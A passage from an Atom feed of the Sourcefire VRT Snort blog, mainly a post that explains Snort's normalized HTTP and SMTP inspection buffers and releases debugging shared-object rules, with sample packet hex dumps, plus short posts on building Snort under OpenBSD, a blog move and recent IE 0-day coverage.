normalized.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;file_data:mime&lt;/td&gt;&lt;td&gt;BUF_FILE_DATA_MIME&lt;/td&gt;&lt;td&gt;Buffer holds the mime decoded data for SMTP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;file_data&lt;/td&gt;&lt;td&gt;BUF_FILE_DATA&lt;/td&gt;&lt;td&gt;Not actually a buffer, but a pointer into normalized buffer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;base64_decode&lt;/td&gt;&lt;td&gt;BUF_BASE64_DECODE&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;* see the labs_buffers.c file for additional commentary on the buffers&lt;br /&gt;&lt;br /&gt;Buffers aren't the only place where Snort massages the data. &amp;nbsp;Both fragmentation and stream reassembly occur and can impact detection. &amp;nbsp;So between parsing, normalization, defragmentation and stream reassembly, the final data blob looked at by Snort can be significantly different than what you see on Wireshark. &amp;nbsp;This can make rule writing and debugging difficult. &amp;nbsp;To help with this I've written a set of .SO rules that print out the buffers exactly as Snort views them for each packet in a PCAP. &amp;nbsp;They've been really useful, so we're releasing them on the &lt;a href="http://labs.snort.org/files/buffers.tar.gz"&gt;VRT Labs site&lt;/a&gt;&amp;nbsp;(currently tested against Snort 2.9.0.3, so don't yell at me if it doesn't work on anything before that).&lt;br /&gt;&lt;br /&gt;Once you download them, move them to your .SO directory and modify the following line in your Makefile:&lt;br /&gt;&lt;pre&gt;libs := icmp p2p dos exploit bad-traffic web-activex web-client web-iis netbios misc nntp smtp web-misc sql imap chat multimedia pop3&lt;/pre&gt;to:&lt;br /&gt;&lt;pre&gt;libs := labs&lt;/pre&gt;Then run "make", and modify your Snort conf to include the new labs.rules file. &amp;nbsp;It should be something like:&lt;br /&gt;&lt;pre&gt;include $RULE_PATH/../so_rules/labs.rules&lt;/pre&gt;The labs.rules file should look like this:&lt;br /&gt;&lt;pre&gt;# Autogenerated skeleton rules file. &amp;nbsp;Do NOT edit by hand&lt;br /&gt;alert tcp any any -&amp;gt; any any (msg:"VRT LABS: All Ports Two-Way Packet Description"; sid:100005; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100005;)&lt;br /&gt;alert tcp any any -&amp;gt; any $HTTP_PORTS (msg:"VRT LABS: HTTP_PORTS Client to Server Packet Description"; sid:100000; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100000;)&lt;br /&gt;alert tcp any $HTTP_PORTS -&amp;gt; any any (msg:"VRT LABS: HTTP_PORTS Server to Client Packet Description"; sid:100001; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100001;)&lt;br /&gt;alert tcp any any -&amp;gt; any 25 (msg:"VRT LABS: SMTP Client to Server Packet Description"; sid:100111; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100111;)&lt;/pre&gt;To get started, I would&amp;nbsp;recommend&amp;nbsp;commenting out all but the first rule. &amp;nbsp;This will show you all the goodies you need. &amp;nbsp;When you're working specifically with http data, I'd enable one or both of the second and third rules. &amp;nbsp;Finally, when looking at SMTP client-to-server traffic (where you'll see mime-decoded data), you can enable only the fourth rule. &amp;nbsp;If you have all rules on, you'll get multiple decoding (probably two per packet).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hey, listen up&lt;/b&gt;: &amp;nbsp;This is only designed to be run on pcap files with TCP data, where you have all the time in the world to read, parse and write data. &amp;nbsp;If you run this on a running sensor it will probably melt, so don't. &amp;nbsp;Also, it is what it is, so don't run it on anything important.&lt;br /&gt;&lt;br /&gt;Each packet will start with a header as follows:&lt;br /&gt;&lt;pre&gt;****************************** &amp;nbsp;NEW PACKET &amp;nbsp;*****************************&lt;br /&gt;Timestamp: 2009-08-27 18:08:29:16274&lt;br /&gt;Src IP: 195.2.253.95:80&lt;br /&gt;Dst IP: 10.11.250.196:1075&lt;br /&gt;TCP Flags: ACK&lt;br /&gt;&lt;/pre&gt;The top line lets you know you have a new packet (easy to miss if you have a lot of data) and then you have a&amp;nbsp;time-stamp&amp;nbsp;(conveniently formatted in Wireshark format) and more IP/TCP header information. &amp;nbsp;If this is a pseudo packet rebuilt by the stream5 preprocessor, you see this instead of the NEW PACKET line above:&lt;br /&gt;&lt;pre&gt;************************ &amp;nbsp;NEW REASSEMBLED PACKET &amp;nbsp;***********************&lt;/pre&gt;Then we start pulling apart the buffers. &amp;nbsp;First we check if there is data, and if there isn't any, we simply write:&lt;br /&gt;&lt;pre&gt;[-No data in this packet-]&lt;/pre&gt;Otherwise we write the raw buffer out and check to see if the normalized buffer is different than the raw buffer. &amp;nbsp;If it isn't, you'll see the raw packet data and then:&lt;br /&gt;&lt;pre&gt;[NORMALIZED/GZIP BUFFER DATA] (IDENTICAL TO RAW BUF)&lt;/pre&gt;If the data isn't the same, it will print the normalized data.&lt;br /&gt;&lt;br /&gt;After this we get into specificly parsed buffers. &amp;nbsp;After the jump, we have two packets that are an example of a packet broken out. &amp;nbsp;It is a client request and server response over http, so you can see how we break things out:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;****************************** &amp;nbsp;NEW PACKET &amp;nbsp;*****************************&lt;br /&gt;Timestamp: 2009-08-27 18:08:28:886026&lt;br /&gt;Src IP: 10.11.250.196:1075&lt;br /&gt;Dst IP: 10.2.253.95:80&lt;br /&gt;TCP Flags: PSH ACK&lt;br /&gt;&lt;br /&gt;****** &amp;nbsp;BUFFER INFORMATION &amp;nbsp;******&lt;br /&gt;[RAW BUFFER DATA (0xacc1fe0)]:&lt;br /&gt;0x0000 &amp;nbsp;47 45 54 20 2f 41 14 41 41 41 41 2f 63 6f 6e 66 &amp;nbsp;GET /AAAAAA/conf&lt;br /&gt;0x0010 &amp;nbsp;69 67 32 2e 62 69 6e 20 48 54 54 50 2f 31 2e 31 &amp;nbsp;ig2.bin HTTP/1.1&lt;br /&gt;0x0020 &amp;nbsp;0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 &amp;nbsp;..Accept: */*..U&lt;br /&gt;0x0030 &amp;nbsp;73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c &amp;nbsp;ser-Agent: Mozil&lt;br /&gt;0x0040 &amp;nbsp;6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 &amp;nbsp;la/4.0 (compatib&lt;br /&gt;0x0050 &amp;nbsp;6c 65 3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 &amp;nbsp;le; MSIE 7.0; Wi&lt;br /&gt;0x0060 &amp;nbsp;6e 64 6f 77 73 20 4e 54 20 35 2e 31 29 0d 0a 48 &amp;nbsp;ndows NT 5.1)..H&lt;br /&gt;0x0070 &amp;nbsp;6f 73 74 3a 20 31 39 35 2e 32 2e 32 35 33 2e 39 &amp;nbsp;ost: 195.2.253.9&lt;br /&gt;0x0080 &amp;nbsp;35 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 &amp;nbsp;5..Pragma: no-ca&lt;br /&gt;0x0090 &amp;nbsp;63 68 65 0d 0a 0d 0a &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; che....&lt;br /&gt;[NORMALIZED/GZIP BUFFER DATA] (IDENTICAL TO RAW BUF)&lt;br /&gt;&lt;br /&gt;[HTTP_HEADER BUFFER DATA (0x8b1fb00)]:&lt;br /&gt;0x0000 &amp;nbsp;41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 73 65 &amp;nbsp;Accept: */*..Use&lt;br /&gt;0x0010 &amp;nbsp;72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 &amp;nbsp;r-Agent: Mozilla&lt;br /&gt;0x0020 &amp;nbsp;2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 &amp;nbsp;/4.0 (compatible&lt;br /&gt;0x0030 &amp;nbsp;3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64 &amp;nbsp;; MSIE 7.0; Wind&lt;br /&gt;0x0040 &amp;nbsp;6f 77 73 20 4e 54 20 35 2e 31 29 0d 0a 48 6f 73 &amp;nbsp;ows NT 5.1)..Hos&lt;br /&gt;0x0050 &amp;nbsp;74 3a 20 31 39 35 2e 32 2e 32 35 33 2e 39 35 0d &amp;nbsp;t: 195.2.253.95.&lt;br /&gt;0x0060 &amp;nbsp;0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 &amp;nbsp;.Pragma: no-cach&lt;br /&gt;0x0070 &amp;nbsp;65 0d 0a 0d 0a &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; e....&lt;br /&gt;&lt;br /&gt;[HTTP_HEADER_RAW BUFFER DATA (0xacc2002)]:&lt;br /&gt;0x0000 &amp;nbsp;41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 73 65 &amp;nbsp;Accept: */*..Use&lt;br /&gt;0x0010 &amp;nbsp;72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 &amp;nbsp;r-Agent: Mozilla&lt;br /&gt;0x0020 &amp;nbsp;2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 &amp;nbsp;/4.0 (compatible&lt;br /&gt;0x0030 &amp;nbsp;3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64 &amp;nbsp;; MSIE 7.0; Wind&lt;br /&gt;0x0040 &amp;nbsp;6f 77 73 20 4e 54 20 35 2e 31 29 0d 0a 48 6f 73 &amp;nbsp;ows NT 5.1)..Hos&lt;br /&gt;0x0050 &amp;nbsp;74 3a 20 31 39 35 2e 32 2e 32 35 33 2e 39 35 0d &amp;nbsp;t: 195.2.253.95.&lt;br /&gt;0x0060 &amp;nbsp;0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 &amp;nbsp;.Pragma: no-cach&lt;br /&gt;0x0070 &amp;nbsp;65 0d 0a 0d 0a &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; e....&lt;br /&gt;&lt;br /&gt;[HTTP_URI BUFFER DATA (0xacc1fe4)]:&lt;br /&gt;0x0000 &amp;nbsp;2f 41 41 41 41 41 41 2f 63 6f 6e 66 69 67 32 2e &amp;nbsp;/AAAAAA/config2.&lt;br /&gt;0x0010 &amp;nbsp;62 69 6e &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bin&lt;br /&gt;&lt;br /&gt;[HTTP_URI_RAW BUFFER DATA (0xacc1fe4)]:&lt;br /&gt;0x0000 &amp;nbsp;2f 41 41 41 41 41 41 2f 63 6f 6e 66 69 67 32 2e &amp;nbsp;/AAAAAA/config2.&lt;br /&gt;0x0010 &amp;nbsp;62 69 6e &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bin&lt;/pre&gt;&lt;pre&gt;[HTTP_POST BUFFER DATA (NO DATA)]&lt;br /&gt;&lt;br /&gt;[HTTP_METHOD BUFFER DATA (0xacc1fe0)]:&lt;br /&gt;0x0000 &amp;nbsp;47 45 54 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GET&lt;br /&gt;&lt;br /&gt;[HTTP_COOKIE BUFFER DATA (NO DATA)]&lt;br /&gt;&lt;br /&gt;[HTTP_COOKIE_RAW BUFFER DATA] (NO DATA)]&lt;br /&gt;&lt;br /&gt;********** &amp;nbsp;END PACKET &amp;nbsp;**********&lt;br /&gt;&lt;br /&gt;****************************** NEW PACKET *****************************&lt;br /&gt;Timestamp: 2009-08-27 18:08:29:16274&lt;br /&gt;Src IP: 10.2.253.95:80&lt;br /&gt;Dst IP: 10.11.250.196:1075&lt;br /&gt;TCP Flags: ACK&lt;br /&gt;&lt;br /&gt;****** BUFFER INFORMATION ******&lt;br /&gt;[RAW BUFFER DATA (0xacc1fe0)]:&lt;br /&gt;&lt;br /&gt;0x0000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.&lt;br /&gt;0x0010 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 37 20 41 .Date: Thu, 27 A&lt;br /&gt;0x0020 75 67 20 32 30 30 39 20 30 37 3a 34 39 3a 33 30 ug 2009 07:49:30&lt;br /&gt;0x0030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Server: Ap&lt;br /&gt;0x0040 61 63 68 65 2f 32 2e 32 2e 31 31 20 28 46 72 65 ache/2.2.11 (Fre&lt;br /&gt;0x0050 65 42 53 44 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e eBSD) mod_ssl/2.&lt;br /&gt;0x0060 32 2e 31 31 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2.11 OpenSSL/0.9&lt;br /&gt;0x0070 2e 37 65 2d 70 31 20 44 41 56 2f 32 20 50 48 50 .7e-p1 DAV/2 PHP&lt;br /&gt;0x0080 2f 35 2e 32 2e 38 20 77 69 74 68 20 53 75 68 6f /5.2.8 with Suho&lt;br /&gt;0x0090 73 69 6e 2d 50 61 74 63 68 0d 0a 4c 61 73 74 2d sin-Patch..Last-&lt;br /&gt;0x00a0 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 Modified: Wed, 2&lt;br /&gt;0x00b0 36 20 41 75 67 20 32 30 30 39 20 31 38 3a 30 39 6 Aug 2009 18:09&lt;br /&gt;0x00c0 3a 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 :43 GMT..ETag: "&lt;br /&gt;0x00d0 61 61 30 32 62 33 2d 63 37 63 34 2d 34 37 32 30 aa02b3-c7c4-4720&lt;br /&gt;0x00e0 66 35 61 66 36 32 37 63 30 22 0d 0a 41 63 63 65 f5af627c0"..Acce&lt;br /&gt;0x00f0 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 pt-Ranges: bytes&lt;br /&gt;0x0100 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 ..Content-Length&lt;br /&gt;0x0110 3a 20 35 31 31 34 30 0d 0a 43 6f 6e 74 65 6e 74 : 51140..Content&lt;br /&gt;0x0120 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 -Type: applicati&lt;br /&gt;0x0130 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d on/octet-stream.&lt;br /&gt;0x0140 0a 0d 0a f2 2a 25 3f 37 50 e7 02 09 f5 10 cf 63 ....*%?7P......c&lt;br /&gt;0x0150 47 4e 5f 2a b3 ac 05 b6 fe 42 cd fe c0 9a ec 6f GN_*.....B.....o&lt;br /&gt;0x0160 bb 3c 98 d5 75 f7 6a 61 6c 30 88 6a 5c e5 20 65 .&amp;lt;..u.jal0.j\. e&lt;br /&gt;0x0170 75 6f 51 ba 91 63 61 52 5a c8 91 cd 79 84 7e 96 uoQ..caRZ...y.~.&lt;br /&gt;0x0180 96 58 e1 3e 20 f8 04 12 82 61 59 1e b6 18 d1 9b .X.&amp;gt; ....aY.....&lt;br /&gt;0x0190 56 3b f3 e7 5b bb 12 66 10 19 92 8e f8 e1 d0 ea V;..[..f........&lt;br /&gt;0x01a0 42 77 fd 8e a7 4e 0e 1f fa 83 32 f6 df 9c 91 79 Bw...N....2....y&lt;br /&gt;&lt;br /&gt;[NORMALIZED/GZIP BUFFER DATA] (IDENTICAL TO RAW BUF)&lt;br /&gt;&lt;br /&gt;[HTTP_HEADER BUFFER DATA (0x8b24b00)]:&lt;br /&gt;&lt;br /&gt;0x0000 44 61 74 65 3a 20 54 68 75 2c 20 32 37 20 41 75 Date: Thu, 27 Au&lt;br /&gt;0x0010 67 20 32 30 30 39 20 30 37 3a 34 39 3a 33 30 20 g 2009 07:49:30&lt;br /&gt;0x0020 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 GMT..Server: Apa&lt;br /&gt;0x0030 63 68 65 2f 32 2e 32 2e 31 31 20 28 46 72 65 65 che/2.2.11 (Free&lt;br /&gt;0x0040 42 53 44 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 BSD) mod_ssl/2.2&lt;br /&gt;0x0050 2e 31 31 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e .11 OpenSSL/0.9.&lt;br /&gt;0x0060 37 65 2d 70 31 20 44 41 56 2f 32 20 50 48 50 2f 7e-p1 DAV/2 PHP/&lt;br /&gt;0x0070 35 2e 32 2e 38 20 77 69 74 68 20 53 75 68 6f 73 5.2.8 with Suhos&lt;br /&gt;0x0080 69 6e 2d 50 61 74 63 68 0d 0a 4c 61 73 74 2d 4d in-Patch..Last-M&lt;br /&gt;0x0090 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 36 odified: Wed, 26&lt;br /&gt;0x00a0 20 41 75 67 20 32 30 30 39 20 31 38 3a 30 39 3a Aug 2009 18:09:&lt;br /&gt;0x00b0 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 43 GMT..ETag: "a&lt;br /&gt;0x00c0 61 30 32 62 33 2d 63 37 63 34 2d 34 37 32 30 66 a02b3-c7c4-4720f&lt;br /&gt;0x00d0 35 61 66 36 32 37 63 30 22 0d 0a 41 63 63 65 70 5af627c0"..Accep&lt;br /&gt;0x00e0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d t-Ranges: bytes.&lt;br /&gt;0x00f0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content-Length:&lt;br /&gt;0x0100 20 35 31 31 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 51140..Content-&lt;br /&gt;0x0110 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f Type: applicatio&lt;br /&gt;0x0120 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a n/octet-stream..&lt;br /&gt;0x0130 0d 0a&lt;br /&gt;&lt;br /&gt;[HTTP_HEADER_RAW BUFFER DATA (0xacc1ff1)]:&lt;br /&gt;0x0000 44 61 74 65 3a 20 54 68 75 2c 20 32 37 20 41 75 Date: Thu, 27 Au&lt;br /&gt;0x0010 67 20 32 30 30 39 20 30 37 3a 34 39 3a 33 30 20 g 2009 07:49:30&lt;br /&gt;0x0020 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 GMT..Server: Apa&lt;br /&gt;0x0030 63 68 65 2f 32 2e 32 2e 31 31 20 28 46 72 65 65 che/2.2.11 (Free&lt;br /&gt;0x0040 42 53 44 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 BSD) mod_ssl/2.2&lt;br /&gt;0x0050 2e 31 31 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e .11 OpenSSL/0.9.&lt;br /&gt;0x0060 37 65 2d 70 31 20 44 41 56 2f 32 20 50 48 50 2f 7e-p1 DAV/2 PHP/&lt;br /&gt;0x0070 35 2e 32 2e 38 20 77 69 74 68 20 53 75 68 6f 73 5.2.8 with Suhos&lt;br /&gt;0x0080 69 6e 2d 50 61 74 63 68 0d 0a 4c 61 73 74 2d 4d in-Patch..Last-M&lt;br /&gt;0x0090 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 36 odified: Wed, 26&lt;br /&gt;0x00a0 20 41 75 67 20 32 30 30 39 20 31 38 3a 30 39 3a Aug 2009 18:09:&lt;br /&gt;0x00b0 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 43 GMT..ETag: "a&lt;br /&gt;0x00c0 61 30 32 62 33 2d 63 37 63 34 2d 34 37 32 30 66 a02b3-c7c4-4720f&lt;br /&gt;0x00d0 35 61 66 36 32 37 63 30 22 0d 0a 41 63 63 65 70 5af627c0"..Accep&lt;br /&gt;0x00e0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d t-Ranges: bytes.&lt;br /&gt;0x00f0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content-Length:&lt;br /&gt;0x0100 20 35 31 31 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 51140..Content-&lt;br /&gt;0x0110 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f Type: applicatio&lt;br /&gt;0x0120 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a n/octet-stream..&lt;br /&gt;0x0130 0d 0a ..&lt;br /&gt;&lt;br /&gt;[HTTP_STAT_CODE BUFFER DATA (0xacc1fe9)]:&lt;br /&gt;0x0000 32 30 30 200&lt;br /&gt;&lt;br /&gt;[HTTP_STAT_MSG BUFFER DATA (0xacc1fed)]:&lt;br /&gt;0x0000 4f 4b 0d 0a OK..&lt;br /&gt;&lt;br /&gt;********** END PACKET **********&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I have some things left to do on this.  For example, raw buffers that are the same as their normalized buffers don't need to be printed.  As we update things, we'll announce on @VRT_Sourcefire and @kpyke.  Let us know how you're using this or if you notice any bugs at research@sourcefire.com.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-18361380408997565?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/18361380408997565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=18361380408997565' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/18361380408997565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/18361380408997565'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/01/in-which-kpyke-looks-behind-green.html' title='In which kpyke looks behind the green curtain'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7457696396391144142</id><published>2011-01-10T12:30:00.000-05:00</published><updated>2011-01-10T12:30:20.226-05:00</updated><title type='text'>New feed and new location for the blog</title><content type='html'>We have a new URI for the blog, you can now find it at &lt;a href="http://vrt-blog.snort.org/"&gt;http://vrt-blog.snort.org/&lt;/a&gt;. In a few days, so as not to confuse everyone, we'll be changing the feedburner address that allows you to get the blog feed in a reader. The new link will be &lt;a href="http://vrt-blog.snort.org/feeds/posts/default?alt=rss"&gt;http://vrt-blog.snort.org/feeds/posts/default?alt=rss&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can of course, still access the content via blogger as normal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7457696396391144142?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7457696396391144142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7457696396391144142' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7457696396391144142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7457696396391144142'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/01/new-feed-and-new-location-for-blog.html' title='New feed and new location for the blog'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6041479313342501718</id><published>2011-01-03T13:54:00.028-05:00</published><updated>2011-01-03T14:37:20.610-05:00</updated><title type='text'>(Successfully) Building Shared Object Rules (and Snort) under OpenBSD</title><content type='html'>Here at the VRT, we have been adding support for more platforms and operating systems for shared object rules in the VRT Certified rule packs. Recently we started work on building shared object rules for Snort under OpenBSD. We ran into problems. After careful investigation, I have found the cause of the problem and can now present a fix for it. The following has been successfully tested under OpenBSD 4.8 on the amd64 platform.&lt;br /&gt;&lt;br /&gt;The issue stems from a consequence that occurs when attempting to build a shared object which links to a static library. In this case, the static library is libdnet, which will not properly create a shared library on OpenBSD with its default configuration (if you did &lt;code&gt;./configure &amp;&amp; make &amp;&amp; make install&lt;/code&gt;, you have this problem). This prevents the dynamic library for lib_sfengine from being built, which the so rules in turn rely on. Fortunately, the fix is pretty easy.&lt;br /&gt;&lt;br /&gt;Libdnet must be rebuilt, using the following configure line:&lt;br /&gt;&lt;blockquote&gt;./configure --with-gnu-ld --enable-shared&lt;/blockquote&gt;After libdnet is rebuilt, you must then create a symlink between the shared file and the name which snort expects as follows, and rebuild the library cache:&lt;br /&gt;&lt;blockquote&gt;ln -s /usr/local/lib/libdnet.1.1 /usr/local/lib/libdnet.so&lt;br /&gt;ldconfig -R /usr/local/lib&lt;/blockquote&gt;Once this has been completed,  configure and make snort and the so rules just as you normally would.  However, if you have any further issues, adding the following flags to the snort configure command should take care of them:&lt;br /&gt;&lt;blockquote&gt;--disable-static-daq --with-dnet-includes=/usr/local/include --with-dnet-libraries=/usr/local/lib&lt;/blockquote&gt;The final, related quirk, is that the .so links are not created for each of the .so.0.0 libraries created for either the engine, or the preprocessor.  You will want to run the following two commands to take care of that after installing:&lt;br /&gt;&lt;blockquote&gt;perl -e 'for(@ARGV){$nf = $_ ; $nf =~ s/\.0\.0//; link($_,$nf)}' /usr/local/lib/snort_dynamicengine/*&lt;br /&gt;&lt;br /&gt;perl -e 'for(@ARGV){$nf = $_ ; $nf =~ s/\.0\.0//; link($_,$nf)}' /usr/local/lib/snort_dynamicpreprocessor/*&lt;/blockquote&gt;After this, you should be good to go.&lt;br /&gt;&lt;br /&gt;We will have pre-compiled shared object rules for OpenBSD coming to a rule pack near you in the not too distant future.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6041479313342501718?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6041479313342501718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6041479313342501718' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6041479313342501718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6041479313342501718'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/01/successfully-building-shared-object.html' title='(Successfully) Building Shared Object Rules (and Snort) under OpenBSD'/><author><name>Dean F.</name><uri>http://www.blogger.com/profile/00917238970109446402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8203996155699729961</id><published>2010-12-23T12:38:00.002-05:00</published><updated>2010-12-23T14:01:19.620-05:00</updated><title type='text'>'Tis the Season for 0-days</title><content type='html'>Hello, all!  This is just a quick note that Microsoft has released a bulletin regarding a new 0-day in Internet Explorer versions 7 and 8.  You can read all about it in their advisory at http://www.microsoft.com/technet/security/advisory/2488013.mspx as well as the reference for the CVE, 2010-3971.  We have previously released coverage for this vulnerability in sids 18196 and 18240.  Because we released coverage before Microsoft posted their bulletin or a CVE had been assigned, these rules do not have those references.  We will release updated rules with the new references after the holidays. &lt;br /&gt;&lt;br /&gt;In addition to the above CSS issue, two other 0-days have been making the rounds lately that I wanted to call attention to -- a vulnerable Active-X control that allows remote code execution that we defend against with sids 18241 and 18242 and a vulnerability in the Windows 